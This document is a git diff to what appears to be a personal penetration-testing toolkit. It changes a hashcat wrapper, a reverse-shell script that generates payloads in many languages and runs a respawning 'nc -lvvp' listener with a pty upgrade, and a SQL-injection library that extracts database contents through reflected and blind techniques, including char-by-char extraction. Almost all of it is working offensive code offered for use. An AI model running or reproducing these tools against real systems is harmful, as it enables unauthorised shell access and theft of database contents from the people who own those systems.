diff --git a/crack_hash.py b/crack_hash.py index 4346d4f..66d58e4 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -93,7 +93,7 @@ if __name__ == "__main__": fp.write(b"%s\n" % hash.encode("UTF-8")) fp.flush() - proc = subprocess.Popen(["hashcat", "-m", str(selected_type), "-a", "0", fp.name, wordlist]) + proc = subprocess.Popen(["hashcat", "-m", str(selected_type), "-a", "0", fp.name, wordlist] + sys.argv[2:]) proc.wait() fp.close() else: diff --git a/rev_shell.py b/rev_shell.py index 235a9f1..008d4c1 100755 --- a/rev_shell.py +++ b/rev_shell.py @@ -431,21 +431,22 @@ def generate_payload(payload_type, local_address, port, index=None, **kwargs): def spawn_listener(port): signal.signal(signal.SIGINT, on_ctrl_c) - orig_stdin = os.dup(0) - pid, fd = pty.fork() - if pid == 0: - os.dup2(orig_stdin, 0) - x = os.execvp("nc", ["nc", "-lvvp", str(port)]) - else: - try: - while True: - data = os.read(fd, 1024) - if not data: - break - sys.stdout.buffer.write(data) - sys.stdout.flush() - except OSError as e: - print("[!] OSError:", str(e)) + while True: + orig_stdin = os.dup(0) + pid, fd = pty.fork() + if pid == 0: + os.dup2(orig_stdin, 0) + x = os.execvp("nc", ["nc", "-lvvp", str(port)]) + else: + try: + while True: + data = os.read(fd, 1024) + if not data: + break + sys.stdout.buffer.write(data) + sys.stdout.flush() + except OSError as e: + print("[!] OSError:", str(e), "respawning shell…") def wait_for_connection(listener, timeout=None, prompt=True): start = time.time() @@ -556,13 +557,18 @@ if __name__ == "__main__": listen_port = random.randint(10000,65535) payload = generate_payload(payload_type, local_address, listen_port, **extra_args) - if payload is None: print("Unknown payload type: %s" % payload_type) print("Supported types: sh, bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell") exit(1) - tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'" + if payload_type.startswith("python"): + # e.g. python3.11 + tty_bin = payload_type + else: + tty_bin = "python" + + tty = f"{tty_bin} -c 'import pty; pty.spawn(\"/bin/bash\")'" print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty)) if payload_type == "xterm": diff --git a/sqli.py b/sqli.py index 241d210..72e5778 100644 --- a/sqli.py +++ b/sqli.py @@ -14,8 +14,11 @@ class SQLi(ABC): query += "" if offset is None or limit is None else f" OFFSET {offset}" return query - def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): + def extract_multiple_ints(self, column: str, table=None, condition=None, limit=None, verbose=False): row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) + if limit is not None: + row_count = min(limit, row_count) + if verbose: print(f"Fetching {row_count} rows") @@ -25,8 +28,11 @@ class SQLi(ABC): return rows - def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False): + def extract_multiple_strings(self, column: str, table=None, condition=None, limit=None, verbose=False): row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) + if limit is not None: + row_count = min(limit, row_count) + if verbose: print(f"Fetching {row_count} rows") @@ -75,25 +81,50 @@ class ReflectedSQLi(SQLi, ABC): def __init__(self, column_types: list): self.column_types = column_types + self.placeholder_fn = lambda c: f"'{c}'" @abstractmethod def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False): pass def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False): - return int(self.extract_string(column, table, condition, offset)) + if str in self.column_types: + return int(self.extract_string(column, table, condition, offset)) + elif int not in self.column_types: + print("[!] Reflectd SQL does neither reflect string nor int types, only:", self.column_types) + return None + + int_column = self.column_types.index(int) + query_columns = list(map(self.placeholder_fn, range(len(self.column_types)))) + query_columns[int_column] = column + return int(self.reflected_sqli(query_columns, table, condition, offset)[int_column]) def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False): if str not in self.column_types: - print("[!] Reflectd SQL does not reflect string types, only:", self.column_types) - return None + if isinstance(column, str) and int in self.column_types: + print("[!] Reflectd SQL does not reflect string types, querying char-by-char") + str_length = self.extract_int(f"LENGTH({column})", table=table, condition=condition, offset=offset, verbose=verbose) + if verbose: + print(f"Querying {str_length} chars") + result = "" + for i in range(1,str_length+1): + q = self.ascii(self.substring(column, i, 1)) + c = chr(self.extract_int(q, table=table, condition=condition, offset=offset, verbose=verbose)) + if verbose: + sys.stdout.write(c) + sys.stdout.flush() + result += c + return result + else: + print("[!] Reflectd SQL does not reflect string types, only:", self.column_types) + return None str_column = self.column_types.index(str) - query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types)))) + query_columns = list(map(self.placeholder_fn, range(len(self.column_types)))) query_columns[str_column] = column return self.reflected_sqli(query_columns, table, condition, offset)[str_column] - def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False): + def extract_multiple_ints(self, columns: list|str, table=None, condition=None, limit=None, verbose=False): one = False if isinstance(columns, str): columns = [columns] @@ -106,6 +137,9 @@ class ReflectedSQLi(SQLi, ABC): query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1))) row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose) + if limit is not None: + row_count = min(limit, row_count) + if verbose: print(f"Fetching {row_count} rows") @@ -120,7 +154,7 @@ class ReflectedSQLi(SQLi, ABC): return rows - def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False): + def extract_multiple_strings(self, columns: list|str, table=None, condition=None, limit=None, verbose=False): one = False if isinstance(columns, str): columns = [columns] @@ -144,6 +178,9 @@ class ReflectedSQLi(SQLi, ABC): column_str = ",".join(query_columns) # todo: fix count(*) for distinct row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose) + if limit is not None: + row_count = min(limit, row_count) + if verbose: print(f"Fetching {row_count} rows") @@ -158,10 +195,12 @@ class ReflectedSQLi(SQLi, ABC): return rows @classmethod - def guess_reflected_columns(cls, callback): + def guess_reflected_columns(cls, callback, verbose=False): data = None column_count = 1 while data is None: + if verbose: + print(f"[ ] Trying with {column_count} columns") query_columns = list(map(lambda c: f"'column-{c}-sqli'", range(column_count))) query_str = cls.build_query(query_columns) data = callback(query_str) # should return some kind of text for a given query @@ -171,7 +210,7 @@ class ReflectedSQLi(SQLi, ABC): reflected_columns = [] for c in range(column_count): - column_name = f"'column-{c}-sqli'" + column_name = f"column-{c}-sqli" reflected_columns.append(str if column_name in data else None) # how to guess the type (str/int)? return reflected_columns @@ -219,14 +258,13 @@ class BlindSQLi(SQLi, ABC): else: return cur_int - def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable): + def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable, cur_str=""): if max_length is None: max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose) if verbose: print("Fetched length:", max_length) - cur_str = "" while True: found = False cur_column = self.ascii(self.substring(column, len(cur_str) + 1, 1))